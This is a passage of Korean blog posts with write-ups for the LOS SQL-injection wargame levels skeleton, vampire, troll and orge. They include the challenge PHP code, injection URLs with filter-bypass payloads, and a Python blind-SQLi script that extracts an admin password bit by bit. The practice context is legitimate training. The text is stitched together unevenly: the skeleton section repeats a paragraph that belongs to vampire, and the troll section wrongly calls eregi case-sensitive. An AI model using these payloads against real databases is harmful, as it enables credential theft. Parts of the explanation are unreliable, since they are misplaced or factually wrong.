Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.





LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 vampire에 이어 skeleton 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

skeleton는 vampire와 마찬가지로 단순 필터링 우회문제입니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>


위의 문제에서는 크게 필터링되는 것은 보이지 않고, id가 guest로 고정되어 있지만, id='admin'이 참이 되게끔 하는 조건문을 완성하는 것이 관건인 문제입니다. 

여기서는 pw 내에 적절한 Injection이 필요할 것 같습니다.





 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 pw 쪽에 값 삽입(주석 있음)


이 문제에서는 admin을 한 번 발견하면, 딱 한 번 지워준다는 취약점을 가지고 있습니다.

따라서 admin이라는 문자열 안에 admin을 한 번 더 넣어주게 되면 안에 있는 admin은 사라지고 완전한 admin이 남게 되지요.

뭔가 랩 같이 글을 쓰게 됐는데 설명은 아래에서 더 자세히 하겠습니다.

https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27%20or%20id=%27admin%27%23


위의 쿼리는 pw=' or id='admin'%23 이라고 작성해주었습니다.

여기서 id='admin'을 입력하더라도 뒤의 조건문 and 연산자가 무조건 False가 되게끔 하기 때문에 적절한 주석처리가 필요하게 됩니다.

따라서 쿼리는 다음과 같이 나타나게 됩니다.


 query : select id from prob_skeleton where id='guest' and pw='' or id='admin'#' and 1=0


이렇게 하면 id='admin'이라는 조건만 참이 되고 뒤의 문자들은 주석처리되어 실행되지 않습니다.

또한 앞의 id='guest' and pw='' 조건문은 거짓이 되게 됩니다.


여기서 주석은 %23 즉, # 이외에도 %20--%20이 되는 것을 확인했습니다.



 

 pw 쪽에 값 삽입(주석 없음)


만약 주석이 불가능하다고 가정한다면 다음과 같은 방법으로도 풀 수 있습니다.

중간에 주석을 넣어주지 않고 id='admin'만 참이고 나머지는 거짓으로 하면 됩니다.

https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27%20or%20id=%27admin%27%20or%20id=%27


위의 쿼리는 pw=' or id='admin' or id='%23 이라고 작성해주었습니다.

먼저 쿼리는 다음과 같이 나타나게 됩니다.


 query : select id from prob_skeleton where id='guest' and pw='' or id='admin' or id='' and 1=0


여기서 세 개의 조건이 나타나게 되는데, 각각의 설명은 다음과 같습니다.



 query : select id from prob_skeleton where id='guest' and pw='' or id='admin' or id='' and 1=0

id='guest' and pw=''는 거짓

id='admin' 는 참

id='' and 1=0 은 거짓



LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 troll에 이어 vampire 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

vampire는 단순 필터링 우회문제입니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]); 
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>


위의 문제에서 6번 라인에서는 문자열을 모두 소문자로 바꿔주는 함수입니다.

또한 7번 라인에서는 admin이 발견되면 문자열을 한 번 삭제해주는 함수입니다.

이외의 조건은 없어보이며, 우리는 id='admin'이 되도록 열심히 필터링을 우회해주면 됩니다.





 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 id 쪽에 값 삽입(admin 한번 삭제를 우회)


이 문제에서는 admin을 한 번 발견하면, 딱 한 번 지워준다는 취약점을 가지고 있습니다.

따라서 admin이라는 문자열 안에 admin을 한 번 더 넣어주게 되면 안에 있는 admin은 사라지고 완전한 admin이 남게 되지요.

뭔가 랩 같이 글을 쓰게 됐는데 설명은 아래에서 더 자세히 하겠습니다.

https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=admadminin


위의 쿼리는 id=admadminin 이라고 작성해주었습니다.

여기서 admadminin 이라고 작성된 부분에서 admin은 삭제되고 admin만 남게 된다는 겁니다.


 query : select id from prob_vampire where id='admadminin'


이렇게 되면 id에는 완전한 admin만 남게 됩니다.


LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Orge에 이어 troll 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

troll은 Orge에서 사용했던 머리를 조금 식히는 겸 팁을 가져가기 위한 단계라고 생각하시면 되겠습니다.

생김새만 보면 Blind SQL injection을 할 것만 같은 비주얼이지만 어찌저찌 쉬어갈 수 있게 됐습니다 하하..



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php  
	include "./config.php"; 
	login_chk(); 
	dbconnect(); 
	if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
	if(@ereg("admin",$_GET[id])) exit("HeHe");
	$query = "select id from prob_troll where id='{$_GET[id]}'";
	echo "<hr>query : <strong>{$query}</strong><hr><br>";
	$result = @mysql_fetch_array(mysql_query($query));
	if($result['id'] == 'admin') solve("troll");
	highlight_file(__FILE__);
?>


위의 문제에서 6번 라인에서는 SQL Injection을 수행할 때 admin이라는 단어를 찾아낸다면 참을 반환하도록 하여, exit() 함수가 실행되도록 하였습니다. 즉, 여러분은 쿼리를 작성할 때 admin을 사용할 수 없습니다.

그러나, id가 admin인 값을 찾아내라고 합니다. 


또한 5번 라인에서는 싱글쿼터(Single Quote)를 사용할 수 없습니다. 그렇다면 문자열을 그대로 넣어줄 수 없다는 것을 의미하며, 쿼리문을 조작할 수 없다는 의미입니다..


흠흠. 그럼에도 불구하고 admin이 되도록 쿼리를 작성해야함은 분명합니다...




 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.

가장 치명적인 싱글쿼터가 필터링이 되었으므로, 문자열 내부에 들어가질 값에 대한 변조를 어떻게 해야할지 알아내야 합니다.

여기서 눈여겨볼 것이 eregi 함수입니다.


eregi의 취약점은 다음과 같습니다.


 

 eregi 함수의 취약점


eregi 함수는 대소문자를 구분한다는 취약점을 가지고 있습니다.

오히려 대소문자를 구분하기 때문에 admiN이라고 쓰거나, Admin이라고 작성하게 되면 'admin'과는 다른 문자로 인식하게 되어 참을 반환하지 않습니다...!


또한 여기서 eregi 함수가 where문에 들어가는 값을 비교한다는 것입니다.

where문에 들어가는 문자는 대소문자를 구분하지 않고 선택하게 됩니다.


즉, select * from prob_troll where id='admiN'과 같이 대소문자를 구분하여도, 'admin'에 해당하는 값이 반환되게 된다는 것입니다.


 

 대소문자 구분을 통한 쿼리 작성


https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php?id=admiN


위의 쿼리는 id=admiN 이라고 작성해주었습니다.

여기서는 admiN이든 Admin이든 AdMiN 이든 admin이 아닌 대소문자로 구분된 admin을 작성해주시면 됩니다.


LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Darkelf에 이어 Orge 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

Orge문제를 들어가기 전에 몬스터 이미지를 보아하니 겁나 근육질인 것을 보고 쫄았습니다. 아니나 다를까 이번에도 Blind SQL injection이었습니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
	include "./config.php"; 
	login_chk(); 
	dbconnect(); 
	if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
	if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
	$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
	echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
	$result = @mysql_fetch_array(mysql_query($query)); 
	if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
	 
	$_GET[pw] = addslashes($_GET[pw]); 
	$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
	$result = @mysql_fetch_array(mysql_query($query)); 
	if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
	highlight_file(__FILE__); 
?>


위의 문제에서는 먼저 pw에 값을 넣어야함을 알 수 있습니다.

필터링은 크게 되어 있지 않은 상태이며, 9번 라인을 보니 리턴되는 값이 있다면 Hello admin이라는 값을 출력해주는 것을 알 수 있습니다.

그런데 여기서는 6번 라인을 보아하니 or와 and가 필터링되어있는 것을 알 수 있습니다.

따라서 or와 and 대신에 사용할 ||, &&를 사용해야합니다.


또한 11번 라인에서는 addslashes라는 함수를 통해 입력한 값을 중간에 한 번 필터링을 걸어줍니다.

어떻게 우회할 수 있을까 고민을 참 많이 했습니다.


여기서는 일반적인 SQL Injection 기법보다는 다른 기법을 사용해야함을 나중에서야 깨달았습니다.

여기서는 Blind SQL Injection 기법을 통해 풀이를 진행해야 합니다.


이러한 이유는 15번 라인에서 답을 구할 수 있습니다.


먼저 2~10번 라인의 소스를 위쪽 PHP소스, 12~16번 라인까지의 소스아래쪽 PHP소스라고 표현하겠습니다.


위쪽 PHP 소스에서는 addslashes 함수를 거치지 않기 때문에 제대로 싱글쿼터, 더블쿼터 등의 문자를 삽입하여 SQL Injection을 수행할 수 있습니다. 그러나 아래쪽 PHP 소스에서는 addslashes 함수를 거치기 때문에 이러한 기법의 SQL Injection이 불가능합니다. 그리고 결정적으로 15번 라인에서 pw에 입력한 값과 query를 실행하여 돌아온 값이 일치해야 문제가 풀리도록 하였습니다.


즉 우리가 정확한 Password를 입력해야함을 말합니다...!!


그렇다면 SQL Injection 에서 우리가 얻을 수 있는 값은 무엇인가를 봐야 합니다.

딱히 리턴되어 돌아오는 값을 알 수 없습니다. 오직 참이냐 거짓이냐 혹은 값이 있냐 없냐만 알 수 있습니다!


따라서 참이냐 거짓이냐를 알 수 있다면 이는 Blind SQL Injection을 이용해야 함을 말합니다.





 

 문제 풀이(쿼리)


먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.



 

 비밀번호 길이 알아내기


먼저 우리는 table의 pw라는 컬럼을 알고 있습니다. 그렇다면 MySQL 함수인 length 함수를 이용하여 비밀번호의 길이를 알아낼 수 있습니다.

아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27||id=%27admin%27%26%26length(pw)=1%23


위의 쿼리는 id가 admin이고, pw길이가 1인 값이 있는지 없는지 알아내기 위한 쿼리입니다.

이는 pw='||id='admin' %26%26 length(pw)=1%23으로 작성하였습니다.

만약 위의 조건에 맞는 값이 있다면 값이 반환되어 $result에 들어갈 것이고, if($result['id'])가 참이기 때문에 Hello admin이라는 값이 나타날 것입니다.

여기서 주의해야할 점은 &를 그대로 GET 형태로 넘겨주게 되면 데이터를 넘겨주는 다음 변수가 따라온다고 판단하게 됩니다. 마찬가지로 &&로도 전송할 수 없습니다.

때문에 URL 인코딩을 수행한 값을 넣어줘야 합니다.


그러나 위의 쿼리 값을 통해 Hello admin이라는 값이 나타나지 않습니다. 이는 admin의 비밀번호 길이가 1이 아니기 때문입니다.


비밀번호 길이는 8까지 해보니 Hello admin이 출력되었습니다.


따라서 admin의 비밀번호 길이는 8이라는 것을 알 수 있었습니다.


이제 비밀번호를 알아내야 합니다.



 

 비밀번호 값 알아내기




각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.


실패한 쿼리문...

 https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||%20id=%27admin%27%26%26%20substr(lpad(bin(ord(substr(pw,1,1))),8,0),1,1)=1%23


위의 쿼리는 다음과 같은 값이 들어가 있습니다.

pw=' || id='admin' %26%26 substr(lpad(bin(ord(substr(pw,1,1))),8,0),1,1)=1%23

여기서는 substr 함수와 lpad, bin, ord 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다.


단!! 여기서 ord에서는 or이라는 문자가 있기 때문에 필터링이되어 제대로 쿼리를 실행할 수 없습니다. 따라서 ord 대신에 사용할 쿼리를 만들어야 합니다.

저는 ord 대신에 conv 함수와 hex 함수를 이용하였습니다.


성공한 쿼리문

 https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||%20id=%27admin%27%26%26%20substr(lpad(bin(conv(hex(substr(pw,1,1)),16,10)),8,0),1,1)=1%23


위의 쿼리는 다음과 같은 값이 들어가 있습니다.

pw=' || id='admin' %26%26 substr(lpad(bin(conv(hex(substr(pw,1,1)),16,10)),8,0),1,1)=1%23

여기서는 substr 함수와 lpad, bin, conv, hex 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다.


substr(pw, 1, 1)은 pw 테이블에 있는 값을 가져와서 1번째 위치에서 1개의 값을 가져온다는 뜻입니다. 만약 substr(pw, 2, 1)이라면 2번째 위치에서 1개의 값을 가져온다는 뜻이 됩니다.


hex 함수는 입력된 문자 하나를 16진수로 변경해주는 함수입니다.


conv(값, 16, 10) 함수는 입력된 값을 16진수에서 10진수로 변형해주는 함수입니다.


bin은 숫자 값을 binary 값(이진수)으로 바꿔주는 함수입니다.


lpad는 값을 몇 자리로 만들어줄지, 무엇으로 채워줄지 결정하는 함수입니다. lpad(값, 8, 0)은 가져온 값을 8글자로 만드는데, 빈 공간을 앞에서부터 0으로 채워준다는 의미입니다. 만약 1100100이라는 7글자 값이 들어왔다면 01100100으로 패딩해준다는 의미입니다.


안에 있는 substr은 문자열의 값 중 한 글자를 가져오는 역할이고, 밖에 있는 substr은 문자가 bin으로 바뀐 상태에서 8개의 비트 값을 하나씩 가져오는 역할입니다.


이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.





 

 문제 풀이(소스)


import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='
headers = {'Cookie': 'PHPSESSID=bhvv81n0c3ba6775vl017ojk12'}


passwordLen = 0

# It is GET Parameter 

# Get Length of Password =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
payload = "'||id='admin'%26%26length(pw)="

for i in range(1, 100):
    tmpPayload = payload + str(i) + '%23'
    res        = sess.get(url=URL+tmpPayload, headers=headers, verify=False)

    if 'Hello admin' in res.text:
        # true
        print('[=] Find Password Length : %d' % i)
        passwordLen = i
        break
    else:
        # false
        pass


# Get Name of Password =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Password = ''

for j in range(1, 9):
    
    bit = ''

    for i in range(1, passwordLen+1):
        payload = "'||id='admin'%26%26substr(lpad(bin(conv(hex(substr(pw,{},1)),16,10)),8,0),{},1)=1%23".format(j, i)

        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'Hello admin' in res.text:
            # true  ==> the bit is 1
            bit += '1'
        else:
            # false ==> the bit is 0
            bit += '0'

    Password += chr(int(bit, 2))
    print('[=] Find Password(count %02d) : %s (bit : %s)' % (j, chr(int(bit, 2)), bit))



print('[=] Find Password : %s' % Password)


위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.


만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.


python의 pip 명령이 들지 않을 때(python pip error)링크


또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.


Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.





+ Recent posts